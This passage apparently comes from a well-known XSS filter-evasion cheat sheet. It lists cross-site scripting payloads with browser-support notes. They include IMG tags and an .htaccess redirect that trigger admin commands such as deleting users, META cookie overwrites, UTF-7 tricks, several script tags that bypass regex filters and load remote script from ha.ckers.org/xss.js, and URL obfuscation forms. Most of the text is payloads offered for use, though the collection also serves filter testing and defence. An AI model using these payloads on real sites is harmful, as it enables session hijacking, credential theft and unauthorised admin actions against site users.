IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

```
<IMG
SRC="http://www.thesiteyouareon.com/somecom
mand.php?somevariables=maliciouscode">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

```
Redirect 302 /a.jpg
http://victimsite.com/admin.asp&deleteuser
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

```
<META HTTP-EQUIV="Set-Cookie"
Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;
/SCRIPT&gt;">
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

```
<HEAD><META HTTP-EQUIV="CONTENT-
TYPE" CONTENT="text/html; charset=UTF-
7"> </HEAD>+ADw-SCRIPT+AD4-
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XSS using HTML quote encapsulation:

This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":

```
<SCRIPT a=">"
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

```
<SCRIPT ="">"
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

```
<SCRIPT a=">" "
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

```
<SCRIPT "a='>'"
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

```
<SCRIPT a=`>`
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [NS8.1-G|FF2.0] [O9.02]

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

```
<SCRIPT a=">'"
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

```
<SCRIPT>document.write("<SCRI");
</SCRIPT>PT SRC="http://ha.ckers.org/xss.js">
</SCRIPT>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):

IP verses hostname:

```
<A HREF="http://66.102.7.147/">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

URL encoding:

```
<A
HREF="http://%77%77%77%2E%67%6F%6F%
67%6C%65%2E%63%6F%6D">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|FF2.0] [**O9.02**]

Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):

```
<A HREF="http://1113982867/">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not

required):

```
<A
HREF="http://0x42.0x0000066.0x7.0x93/">XSS
</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):

```
<A
HREF="http://0102.0146.0007.00000223/">XSS
</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

```
<A HREF="h
tt p://6&#9;6.000146.0x7.147/">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

```
<A HREF="//www.google.com/">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.

```
<A HREF="//google">XSS</A>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [**NS8.1-G**|FF2.0] [O9.02]

Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:

```
<A
HREF="http://ha.ckers.org@google">XSS</A>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

```
<A HREF="http://google:ha.ckers.org">XSS</A>
```

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [**O9.02**]

Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

```
<A HREF="http://google.com/">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Extra dot for absolute DNS:

```
<A HREF="http://www.google.com./">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

JavaScript link location:

```
<A
HREF="javascript:document.location='http://ww
w.google.com/'">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java	script:" was converted into "java	script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):

```
<A
HREF="http://www.gohttp://www.google.com/og
le.com/">XSS</A>
```

Browser support: [**IE7.0**|**IE6.0**|**NS8.1-IE**] [**NS8.1-G**|**FF2.0**] [**O9.02**]

Character Encoding:

All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):

```
<
%3C
&lt
```

Character Encoding Calculator

ASCII Text:

Enter your XSS here

Encode Clear

Hex Value:

URL:

Decode Hex to ASCII

HTML (with semicolons):

Decode Hex Entities to ASCII

Decimal Value:

HTML (without semicolons):

Decode Dec to ASCII

Base64 Value (a more robust base64 calculator can be found here)

Base64:

Decode Base64

IP Obfuscation Calculator

IP Address:

127.0.0.1 0 : dword level

Encode Clear

Dword Address:

Hex Address:

Octal Address:

Browser support reference table:

IE7.0	Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0	Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE	Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
NS8.1-G	Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
FF2.0	Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.
O9.02	Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional
NS4	Vector works in older versions of Netscape 4.0 - untested.

Note: if a vector is not marked it either does not work or it is untested.